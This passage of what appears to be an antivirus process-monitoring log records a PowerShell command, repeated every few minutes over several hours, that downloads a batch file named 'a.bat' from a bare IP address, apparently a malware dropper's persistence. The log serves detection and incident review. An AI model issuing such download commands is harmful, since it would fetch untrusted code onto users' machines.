C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:43:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:45:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:48:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:50:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:53:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:55:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:58:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:00:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:03:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:03:52 AVAVER: 21.2.2455 AR2: 240830 defs: 24091302 2024-09-13 23:03:52 ARPOT2: Start 628 2024-09-13 23:03:52 AR2CFG: 240830 2024-09-13 23:03:52 AR2DEV: Start 1 Driver: 210305 2024-09-13 23:05:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:08:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:10:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:11:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:13:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:15:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:18:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:20:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:23:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:25:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:28:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:30:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:33:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:35:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:38:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:40:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:43:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:45:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:48:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:50:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:53:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:55:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 23:58:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:00:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:03:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:05:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:08:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:10:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:15:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:18:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:20:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:25:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:28:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:30:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:35:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:38:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:40:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:45:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:48:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:51:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:56:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 00:58:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:01:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:03:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:06:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:08:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:11:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:16:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:18:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:21:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:23:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:26:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:28:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:31:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:33:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:36:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:38:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:41:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:43:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:46:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:48:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:51:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:53:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:56:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 01:58:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:01:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:03:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:06:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:08:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:11:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:13:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:16:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:18:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:21:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:23:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:26:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:28:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:31:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:33:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:36:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:38:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:41:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:43:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:46:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:48:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:51:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:53:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:56:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 02:58:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:01:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:06:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:08:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:11:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:13:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:16:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:18:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:21:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:24:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:26:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:29:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:31:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:34:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:36:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:39:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:41:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:44:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:46:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:49:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:51:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:54:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:56:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 03:59:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:01:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:04:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:06:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:09:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:11:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-14 04:14:13 NOTIFY: PROCESS 